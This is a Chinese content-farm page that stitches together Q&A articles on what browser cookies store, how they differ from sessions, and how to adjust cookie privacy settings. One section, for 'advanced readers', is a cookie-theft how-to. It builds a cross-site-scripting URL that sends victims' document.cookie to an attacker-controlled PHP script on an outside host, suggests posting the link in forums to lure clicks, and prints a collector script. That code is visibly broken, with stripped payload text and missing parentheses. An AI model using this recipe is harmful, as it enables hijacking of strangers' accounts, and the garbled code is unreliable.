-
當(dāng)前位置:首頁 > 創(chuàng)意學(xué)院 > 營銷推廣 > 專題列表 > 正文
- 什么情況下需要把數(shù)據(jù)存到COOKIE,SESSION能代替COOKIE么
- Cookies能解決什么問題?Cookies包括什么內(nèi)容?存儲(chǔ)在何處?
- cookie 里面包含session信息嗎
- cookie里面保存的什么內(nèi)容,占空間大嗎?能否清楚
- cookie包含什么信息
哪些信息有可能存儲(chǔ)在cookie中(哪些信息有可能存儲(chǔ)在cookie中)
大家好!今天讓創(chuàng)意嶺的小編來大家介紹下關(guān)于哪些信息有可能存儲(chǔ)在cookie中的問題,以下是小編對(duì)此問題的歸納整理,讓我們一起來看看吧。
開始之前先推薦一個(gè)非常厲害的Ai人工智能工具,一鍵生成原創(chuàng)文章、方案、文案、工作計(jì)劃、工作報(bào)告、論文、代碼、作文、做題和對(duì)話答疑等等
只需要輸入關(guān)鍵詞,就能返回你想要的內(nèi)容,有小程序、在線網(wǎng)頁版、PC客戶端和批量生成器
問友Ai官網(wǎng):https://ai.de1919.com。
本文目錄:
什么情況下需要把數(shù)據(jù)存到COOKIE,SESSION能代替COOKIE么
COOKIE可以在用戶關(guān)閉瀏覽器之后再次訪問時(shí)可以保存身份信息(比如保存用戶名密碼),而SESSION的話用戶一關(guān)閉瀏覽器或一定時(shí)間不活動(dòng)就會(huì)失效.兩者用處不一樣的.COOKIE內(nèi)容是存在用戶端的,每次請(qǐng)求頁面在HTTP頭里包含,因此會(huì)影響網(wǎng)絡(luò)傳輸.而SESSION則是保存在服務(wù)器端的,通常是保存用戶某次登陸后的狀態(tài). COOKIE通常用來保存用戶登陸信息以便下次自動(dòng)登陸,SESSION通常用來判斷用戶是否已登陸server.transfer()是服務(wù)器讀轉(zhuǎn)內(nèi)部頁面,用戶瀏覽器端還是看到之前的URL地址.使用server.transfer()可以定義是否要將上一頁面的REQUEST內(nèi)容傳遞到下一頁.
Cookies能解決什么問題?Cookies包括什么內(nèi)容?存儲(chǔ)在何處?
記錄你所操作的東西!在IE瀏覽器的屬性里所查看的Internet頁存儲(chǔ)在特定的文件夾中,這樣可以提高以后瀏覽的速度Cookies是一種能夠讓網(wǎng)站服務(wù)器把少量數(shù)據(jù)儲(chǔ)存到客戶端的硬盤或內(nèi)存,或是從客戶端的硬盤讀取數(shù)據(jù)的一種技術(shù)。Cookies是當(dāng)你瀏覽某網(wǎng)站時(shí),由Web服務(wù)器置于你硬盤上的一個(gè)非常小的文本文件,它可以記錄你的用戶ID、密碼、瀏覽過的網(wǎng)頁、停留的時(shí)間等信息。當(dāng)你再次來到該網(wǎng)站時(shí),網(wǎng)站通過讀取Cookies,得知你的相關(guān)信息,就可以做出相應(yīng)的動(dòng)作,如在頁面顯示歡迎你的標(biāo)語,或者讓你不用輸入ID、密碼就直接登錄等等。從本質(zhì)上講,它可以看作是你的身份證。但Cookies不能作為代碼執(zhí)行,也不會(huì)傳送病毒,且為你所專有,并只能由提供它的服務(wù)器來讀取。保存的信息片斷以“名/值”對(duì)(name-value pairs)的形式儲(chǔ)存,一個(gè)“名/值”對(duì)僅僅是一條命名的數(shù)據(jù)。一個(gè)網(wǎng)站只能取得它放在你的電腦中的信息,它無法從其它的Cookies文件中取得信息,也無法得到你的電腦上的其它任何東西。Cookies中的內(nèi)容大多數(shù)經(jīng)過了加密處理,因此一般用戶看來只是一些毫無意義的字母數(shù)字組合,只有服務(wù)器的CGI處理程序才知道它們真正的含義。由于Cookies是我們?yōu)g覽的網(wǎng)站傳輸?shù)接脩粲?jì)算機(jī)硬盤中的文本文件或內(nèi)存中的數(shù)據(jù),因此它在硬盤中存放的位置與使用的操作系統(tǒng)和瀏覽器密切相關(guān)。在Windows 9X系統(tǒng)計(jì)算機(jī)中,Cookies文件的存放位置為C:WindowsCookies,在Windows NT/2000/XP的計(jì)算機(jī)中,Cookies文件的存放位置為C:\Documents and Settings\用戶名\Cookies。cookie 里面包含session信息嗎
cookie是個(gè)基礎(chǔ)的東西。是服務(wù)器發(fā)送到客戶端,存儲(chǔ)在客戶端的一小段數(shù)據(jù)??梢源鎯?chǔ)一些配置信息,客戶標(biāo)識(shí)信息等。用戶下次訪問這個(gè)網(wǎng)站時(shí),會(huì)把上次網(wǎng)站發(fā)來的cookie一同發(fā)送回去。
Session是服務(wù)器端通過一定的手段,保存的客戶每次會(huì)話的信息。
cookie里面保存的什么內(nèi)容,占空間大嗎?能否清楚
另請(qǐng)參閱Cookies。Cookie,有時(shí)也用其復(fù)數(shù)形式Cookies,指某些網(wǎng)站為了辨別用戶身份而儲(chǔ)存在用戶本地終端上的數(shù)據(jù)(通常經(jīng)過加密)。定義于RFC2109。它是網(wǎng)景公司的前雇員Lou Montulli在1993年3月的發(fā)明。[編輯本段]用途
服務(wù)器可以利用Cookies包含信息的任意性來篩選并經(jīng)常性維護(hù)這些信息,以判斷在HTTP傳輸中的狀態(tài)。Cookies最典型的應(yīng)用是判定注冊(cè)用戶是否已經(jīng)登錄網(wǎng)站,用戶可能會(huì)得到提示,是否在下一次進(jìn)入此網(wǎng)站時(shí)保留用戶信息以便簡化登錄手續(xù),這些都是Cookies的功用。另一個(gè)重要應(yīng)用場合是“購物車”之類處理。用戶可能會(huì)在一段時(shí)間內(nèi)在同一家網(wǎng)站的不同頁面中選擇不同的商品,這些信息都會(huì)寫入Cookies,以便在最后付款時(shí)提取信息。
使用和禁用Cookie
用戶可以改變?yōu)g覽器的設(shè)置,以使用或者禁用Cookies。
微軟 Internet Explorer
工具 > Internet選項(xiàng) > 隱私頁
調(diào)節(jié)滑塊或者點(diǎn)擊“高級(jí)”,進(jìn)行設(shè)置.
Mozilla Firefox
工具 > 選項(xiàng) > 隱私
(注: 在Linux版本中,可能會(huì)是如下操作:編輯 > 屬性 > 隱私 , 而Mac則是:Firefox > 屬性 > 隱私)
設(shè)置Cookies選項(xiàng)
設(shè)定阻止/允許的各個(gè)域內(nèi)Cookie
查看Cookies管理窗口,檢查現(xiàn)存Cookie信息,選擇刪除或者阻止它們
蘋果計(jì)算機(jī) Safari
Safari > 預(yù)置 > 安全標(biāo)簽
選擇以下的選項(xiàng)
總是 接受 Cookies
永不 接受 Cookies
接受 Cookies 僅從您瀏覽的站點(diǎn) (例如,不接受來自其它站點(diǎn)的廣告) 預(yù)設(shè)的選項(xiàng).
您可以顯示所有駐留在您瀏覽器中的 cookies,也可隨時(shí)將它們之一刪除。
Konqueror
如果沒有設(shè)置cookie列表,請(qǐng)記住在域名前面加入“.”,例如.baidu.org,否則百度將不會(huì)讀取cookie(針對(duì)KDE 3.3)。[編輯本段]生存周期
Cookie可以保持登錄信息到用戶下次與服務(wù)器的會(huì)話,換句話說,下次訪問同一網(wǎng)站時(shí),用戶會(huì)發(fā)現(xiàn)不必輸入用戶名和密碼就已經(jīng)登錄了(當(dāng)然,不排除用戶手工刪除Cookie)。而還有一些Cookie在用戶退出會(huì)話的時(shí)候就被刪除了,這樣可以有效保護(hù)個(gè)人隱私。[編輯本段]識(shí)別功能
如果在一臺(tái)計(jì)算機(jī)中安裝多個(gè)瀏覽器,每個(gè)瀏覽器都會(huì)獨(dú)立的空間存放cookie。因?yàn)閏ookie中不但可以確認(rèn)用戶,還能包含計(jì)算機(jī)和瀏覽器的信息,所以一個(gè)用戶用不同的瀏覽器登錄或者用不同的計(jì)算機(jī)登錄,都會(huì)得到不同的cookie信息,另一方面,對(duì)于在同一臺(tái)計(jì)算機(jī)上使用同一瀏覽器的多用戶群,cookie不會(huì)區(qū)分他們的身份,除非他們使用不同的用戶名登錄。
反對(duì)cookies者
一些人反對(duì)cookie在網(wǎng)絡(luò)中的應(yīng)用,他們的理由如下:
識(shí)別不精確
參見上面的識(shí)別功能
隱私,安全和廣告
Cookies在某種程度上說已經(jīng)嚴(yán)重危及用戶的隱私和安全。其中的一種方法是:一些公司的高層人員為了某種目的(譬如市場調(diào)研)而訪問了從未去過的網(wǎng)站(通過搜索引擎查到的),而這些網(wǎng)站包含了一種叫做網(wǎng)頁臭蟲的圖片,該圖片透明,且只有一個(gè)象素大?。ㄒ员汶[藏),它們的作用是將所有訪問過此頁面的計(jì)算機(jī)寫入cookie。而后,電子商務(wù)網(wǎng)站將讀取這些cookie信息,并尋找寫入這些cookie的網(wǎng)站,隨即發(fā)送包含了針對(duì)這個(gè)網(wǎng)站的相關(guān)產(chǎn)品廣告的垃圾郵件給這些高級(jí)人員。
因?yàn)楦哂嗅槍?duì)性,使得這套系統(tǒng)行之有效,收到郵件的客戶或多或少表現(xiàn)出對(duì)產(chǎn)品的興趣。這些站點(diǎn)一旦寫入cookie并使其運(yùn)作,就可以從電子商務(wù)網(wǎng)站那里獲得報(bào)酬,以維系網(wǎng)站的生存。
鑒于隱藏的危害性,瑞典已經(jīng)通過對(duì)cookie立法,要求利用cookie的網(wǎng)站必須說明cookie的屬性,并且指導(dǎo)用戶如何禁用cookie。[編輯本段]偷竊Cookie和腳本攻擊
盡管cookie沒有病毒那么危險(xiǎn),但它仍包含了一些敏感信息:用戶名,計(jì)算機(jī)名,使用的瀏覽器和曾經(jīng)訪問的網(wǎng)站。用戶不希望這些內(nèi)容泄漏出去,尤其是當(dāng)其中還包含有私人信息的時(shí)候。
這并非危言聳聽,一種名為Cross site scripting的工具可以達(dá)到此目的。在受到Cross site scripting攻擊時(shí),cookie盜賊和cookie毒藥將竊取內(nèi)容。一旦cookie落入攻擊者手中,它將會(huì)重現(xiàn)其價(jià)值。
cookie盜賊:搜集用戶cookie并發(fā)給攻擊者的黑客。攻擊者將利用cookie信息通過合法手段進(jìn)入用戶帳戶。
cookie毒藥:利用安全機(jī)制,攻擊者加入代碼從而改寫cookie內(nèi)容,以便持續(xù)攻擊。[編輯本段]Cookies的替代品
鑒于cookie的局限和反對(duì)者的聲音,有如下一些替代方法:
Brownie方案,是一項(xiàng)開放源代碼工程,由SourceForge發(fā)起。Brownie曾被用以共享在不同域中的接入,而cookies則被構(gòu)想成單一域中的接入。這項(xiàng)方案已經(jīng)停止開發(fā)。
P3P,用以讓用戶獲得更多控制個(gè)人隱私權(quán)利的協(xié)議。在瀏覽網(wǎng)站時(shí),它類似于cookie。
在與服務(wù)器傳輸數(shù)據(jù)時(shí),通過在地址后面添加唯一查詢串,讓服務(wù)器識(shí)別是否合法用戶,也可以避免使用cookie。[編輯本段]cookie的具體含義
cookie 歷來指就著牛奶一起吃的點(diǎn)心。然而,在因特網(wǎng)內(nèi),“cookie”這個(gè)字有了完全不同的意思。那么“cookie”到底是什么呢?“Cookie”是小量信息,由網(wǎng)絡(luò)服務(wù)器發(fā)送出來以存儲(chǔ)在網(wǎng)絡(luò)瀏覽器上,從而下次這位獨(dú)一無二的訪客又回到該網(wǎng)絡(luò)服務(wù)器時(shí),可從該瀏覽器讀回此信息。這是很有用的,讓瀏覽器記住這位訪客的特定信息,如上次訪問的位置、花費(fèi)的時(shí)間或用戶首選項(xiàng)(如樣式表)。Cookie 是個(gè)存儲(chǔ)在瀏覽器目錄的文本文件,當(dāng)瀏覽器運(yùn)行時(shí),存儲(chǔ)在 RAM 中。一旦閣下從該網(wǎng)站或網(wǎng)絡(luò)服務(wù)器退出,Cookie 也可存儲(chǔ)在計(jì)算機(jī)的硬驅(qū)上。I3I.net的打算是,當(dāng)訪客結(jié)束其瀏覽器對(duì)話時(shí),即終止I3I.net的所有 cookie。
Cookie 有哪些用途?
Cookie 的用途之一是存儲(chǔ)用戶在特定網(wǎng)站上的密碼和 ID。另外,也用于存儲(chǔ)起始頁的首選項(xiàng)。在提供個(gè)人化查看的網(wǎng)站上,將要求閣下的網(wǎng)絡(luò)瀏覽器利用閣下計(jì)算機(jī)硬驅(qū)上的少量空間來儲(chǔ)存這些首選項(xiàng)。這樣,每次閣下登錄該網(wǎng)站時(shí),閣下的瀏覽器將檢查閣下是否就該唯一的服務(wù)器有任何預(yù)先定義的首選項(xiàng)(cookie)。如果有的話,瀏覽器將此 cookie 隨閣下對(duì)網(wǎng)頁的請(qǐng)求一起發(fā)送給服務(wù)器。Microsoft 和 Netscape 使用 cookie 在其網(wǎng)站上創(chuàng)建個(gè)人起始頁。各家公司利用 cookie 的一般用途包括:在線定貨系統(tǒng)、網(wǎng)站個(gè)人化和網(wǎng)站跟蹤。
網(wǎng)站個(gè)人化是 cookie 最有益的用途之一。例如,當(dāng)誰來到 CNN 網(wǎng)站,但并不想查看任何商務(wù)新聞。網(wǎng)站允許他將該項(xiàng)選為選項(xiàng)。從那時(shí)起(或者直到 cookie 逾期),他在訪問 CNN 網(wǎng)頁時(shí)將不會(huì)讀到商務(wù)新聞。
這些 Cookie 是如何起作用的?
文檔的 HTML 代碼中的命令行告訴瀏覽器設(shè)置某一名稱或數(shù)值的 cookie。以下是用來設(shè)置 cookie 腳本的一個(gè)普通實(shí)例。
Set-Cookie: name = VALUE;
expires = DATE;
path = PATH;
domain = DOMAIN_NAME;
那么安全性如何?HTTP Cookie 不能用來從閣下的硬驅(qū)上檢索個(gè)人數(shù)據(jù)、放置病毒、得到閣下的電子郵件地址或偷竊有關(guān)閣下身份的敏感信息;然而,HTTP Cookie 可用來跟蹤閣下在特定網(wǎng)站上的所到之處。不使用 cookie 就很難進(jìn)行網(wǎng)站跟蹤。
至于其他一切與因特網(wǎng)有關(guān)的事,如同閣下所希望的那樣是匿名的。沒有網(wǎng)站知道閣下是誰,除非閣下自己透露給網(wǎng)站。同時(shí),cookie 只是為了更好地了解使用模式并改進(jìn)網(wǎng)站訪客的效率而采用的一個(gè)網(wǎng)站跟蹤統(tǒng)計(jì)手段而已。
如果網(wǎng)站設(shè)計(jì)師旨在使網(wǎng)頁能與訪客更具互動(dòng)作用,或者若設(shè)計(jì)師計(jì)劃讓訪客自定義網(wǎng)站的外觀,則就需要使用 cookie。而且,如果閣下想要網(wǎng)站在某些情況下改變其外觀,cookie 則提供了一條快速、容易的途徑,讓閣下的 HTML 頁面按需要而改變。最新型的服務(wù)器使用 cookie 有助于數(shù)據(jù)庫的互動(dòng)性,進(jìn)而改進(jìn)網(wǎng)站的整體互動(dòng)性。
Cookie在英文中是小甜品的意思,而這個(gè)詞我們總能在瀏覽器中看到,食品怎么會(huì)跟瀏覽器扯上關(guān)系呢?在你瀏覽以前登陸過的網(wǎng)站時(shí)可能會(huì)在網(wǎng)頁中出現(xiàn):你好XX,感覺很親切,就好像是吃了一個(gè)小甜品一樣。這其實(shí)是通過訪問你主機(jī)里邊的一個(gè)文件來實(shí)現(xiàn)的,因此這個(gè)文件也就被稱為了Cookie。想全面了解Cookie嗎?看看下文吧!
一.了解Cookie 適用對(duì)象:初級(jí)讀者
Cookie是當(dāng)你瀏覽某網(wǎng)站時(shí),網(wǎng)站存儲(chǔ)在你機(jī)器上的一個(gè)小文本文件,它記錄了你的用戶ID,密碼、瀏覽過的網(wǎng)頁、停留的時(shí)間等信息,當(dāng)你再次來到該網(wǎng)站時(shí),網(wǎng)站通過讀取Cookie,得知你的相關(guān)信息,就可以做出相應(yīng)的動(dòng)作,如在頁面顯示歡迎你的標(biāo)語,或者讓你不用輸入ID、密碼就直接登錄等等。你可以在IE的“工具/Internet選項(xiàng)”的“常規(guī)”選項(xiàng)卡中,選擇“設(shè)置/查看文件”,查看所有保存到你電腦里的Cookie。這些文件通常是以u(píng)ser@domain格式命名的,user是你的本地用戶名,domain是所訪問的網(wǎng)站的域名。如果你使用NetsCape瀏覽器,則存放在“C:\PROGRAMFILES\NETSCAPE\USERS\”里面,與IE不同的是,NETSCAPE是使用一個(gè)Cookie 文件記錄所有網(wǎng)站的Cookies。
為了保證上網(wǎng)安全我們需要對(duì)Cookie進(jìn)行適當(dāng)設(shè)置。打開“工具/Internet選項(xiàng)”中的“隱私”選項(xiàng)卡(注意該設(shè)置只在IE6.0中存在,其他版本IE可以在“工具/Internet選項(xiàng)”的“安全”標(biāo)簽中單擊“自定義級(jí)別”按鈕,進(jìn)行簡單調(diào)整),調(diào)整Cookie的安全級(jí)別。通常情況,可以將滑塊調(diào)整到“中高”或者“高”的位置。多數(shù)的論壇站點(diǎn)需要使用Cookie信息,如果你從來不去這些地方,可以將安全級(jí)調(diào)到“阻止所有Cookies”。如果只是為了禁止個(gè)別網(wǎng)站的Cookie,可以單擊“編輯”按鈕,將要屏蔽的網(wǎng)站添加到列表中。在“高級(jí)”按鈕選項(xiàng)中,你可以對(duì)第一方Cookie和第三方的Cookie進(jìn)行設(shè)置,第一方Cookie是你正在瀏覽的網(wǎng)站的Cookie,第三方Cookie非正在瀏覽的網(wǎng)站發(fā)給你的Cookie,通常要對(duì)第三方Cookie選擇“拒絕”,如圖1。你如果需要保存Cookie,可以使用IE的“導(dǎo)入導(dǎo)出”功能,打開“文件/導(dǎo)入導(dǎo)出”,按提示操作即可。
Cookie中的內(nèi)容大多數(shù)經(jīng)過了加密處理,因此在我們看來只是一些毫無意義的字母數(shù)字組合,只有服務(wù)器的CGI處理程序才知道它們真正的含義。通過一些軟件我們可以查看到更多的內(nèi)容,使用Cookie Pal軟件查看到的Cookie信息,如圖2所示。它為我們提供了Server、Expires、Name、value等選項(xiàng)的內(nèi)容。其中,Server是存儲(chǔ)Cookie的網(wǎng)站,Expires記錄了Cookie的時(shí)間和生命期,Name和value字段則是具體的數(shù)據(jù)
二、Cookie的傳遞流程 適用對(duì)象:中級(jí)讀者
當(dāng)在瀏覽器地址欄中鍵入了一個(gè)Web站點(diǎn)的URL,瀏覽器會(huì)向該Web站點(diǎn)發(fā)送一個(gè)讀取網(wǎng)頁的請(qǐng)求,并將結(jié)果在顯示器上顯示。這時(shí)該網(wǎng)頁在你的電腦上尋找Amazon網(wǎng)站設(shè)置的Cookie文件,如果找到,瀏覽器會(huì)把Cookie文件中的數(shù)據(jù)連同前面輸入的URL一同發(fā)送到Amazon服務(wù)器。服務(wù)器收到Cookie數(shù)據(jù),就會(huì)在他的數(shù)據(jù)庫中檢索你的ID,你的購物記錄、個(gè)人喜好等信息,并記錄下新的內(nèi)容,增加到數(shù)據(jù)庫和Cookie文件中去。如果沒有檢測到Cookie或者你的Cookie信息與數(shù)據(jù)庫中的信息不符合,則說明你是第一次瀏覽該網(wǎng)站,服務(wù)器的CGI程序?qū)槟銊?chuàng)建新的ID信息,并保存到數(shù)據(jù)庫中。
Cookie是利用了網(wǎng)頁代碼中的HTTP頭信息進(jìn)行傳遞的,瀏覽器的每一次網(wǎng)頁請(qǐng)求,都可以伴隨Cookie傳遞,例如,瀏覽器的打開或刷新網(wǎng)頁操作。服務(wù)器將Cookie添加到網(wǎng)頁的HTTP頭信息中,伴隨網(wǎng)頁數(shù)據(jù)傳回到你的瀏覽器,瀏覽器會(huì)根據(jù)你電腦中的Cookie設(shè)置選擇是否保存這些數(shù)據(jù)。如果瀏覽器不允許Cookie保存,則關(guān)掉瀏覽器后,這些數(shù)據(jù)就消失。Cookie在電腦上保存的時(shí)間是不一樣的,這些都是由服務(wù)器的設(shè)置不同決定得。Cookie有一個(gè)Expires(有效期)屬性,這個(gè)屬性決定了Cookie的保存時(shí)間,服務(wù)器可以通過設(shè)定Expires字段的數(shù)值,來改變Cookie的保存時(shí)間。如果不設(shè)置該屬性,那么Cookie只在瀏覽網(wǎng)頁期間有效,關(guān)閉瀏覽器,這些Cookie自動(dòng)消失,絕大多數(shù)網(wǎng)站屬于這種情況。通常情況下,Cookie包含Server、Expires、Name、value這幾個(gè)字段,其中對(duì)服務(wù)器有用的只是Name和value字段,Expires等字段的內(nèi)容僅僅是為了告訴瀏覽器如何處理這些Cookies。
三、Cookie的編程實(shí)現(xiàn) 適用對(duì)象:高級(jí)讀者
多數(shù)網(wǎng)頁編程語言都提供了對(duì)Cookie的支持。如javascript、VBScript、Delphi、ASP、SQL、PHP、C#等。在這些面向?qū)ο蟮木幊陶Z言中,對(duì)Cookie的編程利用基本上是相似的,大體過程為:先創(chuàng)建一個(gè)Cookie對(duì)象(Object),然后利用控制函數(shù)對(duì)Cookie進(jìn)行賦值、讀取、寫入等操作。那么如何通過代碼來獲取其他用戶Cookie中的敏感信息?下面進(jìn)行簡單的介紹。
該方法主要有兩步,首先要定位你需要收集Cookie的網(wǎng)站,并對(duì)其進(jìn)行分析,并構(gòu)造URL;然后編制收集Cookie的PHP代碼,并將其放到你可以控制的網(wǎng)站上,當(dāng)不知情者單擊了你構(gòu)造的URL后可以執(zhí)行該P(yáng)HP代碼。下面我們看具體的實(shí)現(xiàn)過程。
1.分析并構(gòu)造URL
首先打開我們要收集Cookie的網(wǎng)站,這里假設(shè)是http://www.XXX.net,登陸網(wǎng)站輸入用戶名“”(不含引號(hào)),對(duì)數(shù)據(jù)進(jìn)行分析抓包,得到形如“http://www.XXX.net/txl/login/login....x=28&ok.y=6”的代碼,將“”更換為“”再試;如果執(zhí)行成功,就開始構(gòu)造URL:“http://www.cbifamily.org/cbi.php?\"%2Bdocuments.cookie)&passwd=&ok.x=28&ok.y=6" target="_blank">http://www.XXX.net/txl/login/log ;... swd=&ok.x=28&ok.y=6”。其中http:///www.cbifamily.org/cbi.php就是你能夠控制的某臺(tái)主機(jī)上的一個(gè)腳本。需要注意的是“%2B”為符號(hào)“+”的URL編碼,因?yàn)椤?”將被作為空格處理。該URL就可以在論壇中發(fā)布,誘使別人點(diǎn)擊了。
2.編制PHP腳本
該腳本的作用就是收集Cookie文件,具體內(nèi)容如下:
$info = getenv("QUERY_STRING";
if ($info) {
$fp = fopen("info.txt","a";
fwrite($fp,$info."\n";
fclose($fp);
}
header("Location: http://www.XXX.net\";
?>
四、Cookie的安全問題 適用對(duì)象:所有希望上網(wǎng)安全的讀者
1.Cookie欺騙
Cookie記錄著用戶的帳戶ID、密碼之類的信息,如果在網(wǎng)上傳遞,通常使用的是MD5方法加密。這樣經(jīng)過加密處理后的信息,即使被網(wǎng)絡(luò)上一些別有用心的人截獲,也看不懂,因?yàn)樗吹降闹皇且恍o意義的字母和數(shù)字。然而,現(xiàn)在遇到的問題是,截獲Cookie的人不需要知道這些字符串的含義,他們只要把別人的Cookie向服務(wù)器提交,并且能夠通過驗(yàn)證,他們就可以冒充受害人的身份,登陸網(wǎng)站。這種方法叫做Cookie欺騙。Cookie欺騙實(shí)現(xiàn)的前提條件是服務(wù)器的驗(yàn)證程序存在漏洞,并且冒充者要獲得被冒充的人的Cookie信息。目前網(wǎng)站的驗(yàn)證程序要排除所有非法登錄是非常困難的,例如,編寫驗(yàn)證程序使用的語言可能存在漏洞。而且要獲得別人Cookie是很容易的,用支持Cookie的語言編寫一小段代碼就可以實(shí)現(xiàn)(具體方法見三),只要把這段代碼放到網(wǎng)絡(luò)里,那么所有人的Cookie都能夠被收集。如果一個(gè)論壇允許HTML代碼或者允許使用Flash標(biāo)簽就可以利用這些技術(shù)收集Cookie的代碼放到論壇里,然后給帖子取一個(gè)吸引人的主題,寫上有趣的內(nèi)容,很快就可以收集到大量的Cookie。在論壇上,有許多人的密碼就被這種方法盜去的。至于如何防范,目前還沒有特效藥,我們也只能使用通常的防護(hù)方法,不要在論壇里使用重要的密碼,也不要使用IE自動(dòng)保存密碼的功能,以及盡量不登陸不了解底細(xì)的網(wǎng)站。
2.Flash的代碼隱患
Flash中有一個(gè)getURL()函數(shù),F(xiàn)lash可以利用這個(gè)函數(shù)自動(dòng)打開指定的網(wǎng)頁。因此它可能把你引向一個(gè)包含惡意代碼的網(wǎng)站。打個(gè)比方,當(dāng)你在自己電腦上欣賞精美的Flash動(dòng)畫時(shí),動(dòng)畫幀里的代碼可能已經(jīng)悄悄地連上網(wǎng),并打開了一個(gè)極小的包含有特殊代碼的頁面。這個(gè)頁面可以收集你的Cookie、也可以做一些其他的事情,比如在你的機(jī)器上種植木馬甚至格式化你的硬盤等等。對(duì)于Flash的這種行為,網(wǎng)站是無法禁止的,因?yàn)檫@是Flash文件的內(nèi)部行為。我們所能做到的,如果是在本地瀏覽盡量打開防火墻,如果防火墻提示的向外發(fā)送的數(shù)據(jù)包并不為你知悉,最好禁止。如果是在Internet上欣賞,最好找一些知名的大網(wǎng)站。
cookie包含什么信息
Cookie 的用途之一是存儲(chǔ)用戶在特定網(wǎng)站上的密碼和 ID。另外,也用于存儲(chǔ)起始頁的首選項(xiàng)。在提供個(gè)人化查看的網(wǎng)站上,將要求閣下的網(wǎng)絡(luò)瀏覽器利用閣下計(jì)算機(jī)硬驅(qū)上的少量空間來儲(chǔ)存這些首選項(xiàng)。這樣,每次閣下登錄該網(wǎng)站時(shí),閣下的瀏覽器將檢查閣下是否就該唯一的服務(wù)器有任何預(yù)先定義的首選項(xiàng)(cookie)。如果有的話,瀏覽器將此 cookie 隨閣下對(duì)網(wǎng)頁的請(qǐng)求一起發(fā)送給服務(wù)器。防范Cookies泄密
步驟一:點(diǎn)擊IE窗口中的"工具" "In-ernet選項(xiàng)",打開"Internet選項(xiàng)"設(shè)置窗口;
步驟二:點(diǎn)擊"Internet選項(xiàng)"設(shè)置窗口中的"安全"標(biāo)簽,然后再點(diǎn)擊"自定義級(jí)別"按鈕,進(jìn)入"安全設(shè)置"窗口;
步驟三:找到"安全設(shè)置"窗口中的"Cookies"設(shè)置項(xiàng)。"Cookies"設(shè)置項(xiàng)下有兩個(gè)分選項(xiàng),其中"允許使用存儲(chǔ)在您計(jì)算機(jī)上的ookies"是針對(duì)存儲(chǔ)在用戶計(jì)算機(jī)硬盤中的Cookies文件;"允許使用每個(gè)對(duì)話Cookies(未存儲(chǔ))"是針對(duì)存儲(chǔ)在用戶計(jì)算機(jī)內(nèi)存中的Cookies信息。存儲(chǔ)在硬盤中的Cookies文件是永久存在的,而存儲(chǔ)在內(nèi)存中的Cookies信息是臨時(shí)的。要想IE在即將接收來自Web站點(diǎn)的所有Cookies時(shí)進(jìn)行提示,可分別選擇上面兩個(gè)分選項(xiàng)中的"提示"項(xiàng)。當(dāng)然,你也可以選擇"啟用",允許IE接受所有的Cookies信息(這也是IE的默認(rèn)選項(xiàng));選擇"禁止",則是不允許Web站點(diǎn)將Cookies存儲(chǔ)到您的計(jì)算機(jī)上,而且Web站點(diǎn)也不能讀取你計(jì)算機(jī)中已有的Cookies。
IE6.0提供了更為可靠的個(gè)人隱私及安全保護(hù)措施,可以讓用戶來控制瀏覽器向外發(fā)送信息的多少。在"Internet 選項(xiàng)"窗口中新增了"隱私"選項(xiàng)卡,用戶可以在其中直接設(shè)置瀏覽時(shí)的隱私級(jí)別,按需要控制其他站點(diǎn)對(duì)自己電腦所使用的Cookies。
如果我們正在瀏覽的站點(diǎn)使用了Cookie,那么在瀏覽器狀態(tài)欄中會(huì)有一個(gè)黃色驚嘆號(hào)的標(biāo)記,雙擊后可打開"隱私報(bào)告"對(duì)話框,用戶可以在其中查看具體的隱私策略,還可直接點(diǎn)擊"設(shè)置"按鈕后在上述"隱私"選項(xiàng)卡中調(diào)節(jié)安全隱私級(jí)別。
在"常規(guī)"選項(xiàng)卡中還增加了"刪除Cookies"按鈕,方便用戶直接清除本機(jī)上的Cookies。另外,在"工具" "選項(xiàng)" "高級(jí)"選項(xiàng)卡中也增加了一些進(jìn)一步提高安全性的選項(xiàng)(如關(guān)閉瀏覽器時(shí)清空Internet臨時(shí)文件)。其實(shí),如何更好地保護(hù)個(gè)人隱私和安全是微軟下一代".NET"戰(zhàn)略軟件中的關(guān)鍵技術(shù),現(xiàn)在IE6.0已經(jīng)嘗試著邁出了第一步。
另外,由于Cookies的信息并不都是以文件形式存放在計(jì)算機(jī)里,還有部分信息保存在內(nèi)存里。比如你在瀏覽網(wǎng)站的時(shí)候,Web服務(wù)器會(huì)自動(dòng)在內(nèi)存中生成Cookie,當(dāng)你關(guān)閉IE瀏覽器的時(shí)候又自動(dòng)把Cookie刪除,那樣上面介紹的兩種方法就起不了作用,我們需要借助注冊(cè)表編輯器來修改系統(tǒng)設(shè)置。要注意的是,修改注冊(cè)表前請(qǐng)作備份,以便出現(xiàn)問題后能順利恢復(fù)。
最后有必要說明的一點(diǎn)是:杜絕Cookies雖然可以增強(qiáng)你電腦的信息安全程度,但這樣做同樣會(huì)有一些弊端。比如在一些需要Cookies支持的網(wǎng)頁上,會(huì)發(fā)生一些莫名其妙的錯(cuò)誤,典型的例子就是你以后不能使用某些網(wǎng)站的免費(fèi)信箱了。
以上就是關(guān)于哪些信息有可能存儲(chǔ)在cookie中相關(guān)問題的回答。希望能幫到你,如有更多相關(guān)問題,您也可以聯(lián)系我們的客服進(jìn)行咨詢,客服也會(huì)為您講解更多精彩的知識(shí)和內(nèi)容。
推薦閱讀:
全國電動(dòng)十大排名圖片(全國排名前十的電動(dòng)車有哪些)_1
龍港品牌vi設(shè)計(jì)企業(yè)(龍港品牌vi設(shè)計(jì)企業(yè)有哪些)
青山湖直播代運(yùn)營公司(青山湖直播代運(yùn)營公司有哪些)
otium餐飲品牌設(shè)計(jì)(餐飲品牌設(shè)計(jì)案例)
國內(nèi)優(yōu)秀餐飲空間設(shè)計(jì)案例(國內(nèi)優(yōu)秀餐飲空間設(shè)計(jì)案例研究)
猜你喜歡
京東個(gè)人店什么時(shí)候開放的(京東個(gè)人店什么時(shí)候開放的呢)
transformer做預(yù)測不如LSTM(transformer預(yù)測過程)
chatGPT中文免費(fèi)(chatGPT中文免費(fèi)版下載)_1
以天下之所順,攻親戚之所畔翻譯(以天下之所順攻親戚之所畔翻譯句子)
華為手機(jī)視頻剪輯教程自學(xué)(華為手機(jī)視頻剪輯教程自學(xué)免費(fèi))
3000塊錢的電腦主機(jī)配置(3000塊錢的電腦主機(jī)配置2023)
問大家
湟中很強(qiáng)大的攝像攝影航拍拍攝制作需要了解哪些事項(xiàng)?在座的bss們幫忙答一下
濟(jì)南離異征婚網(wǎng)站有哪些比較正規(guī)、靠譜啊 ?麻煩朋友推薦一下吧
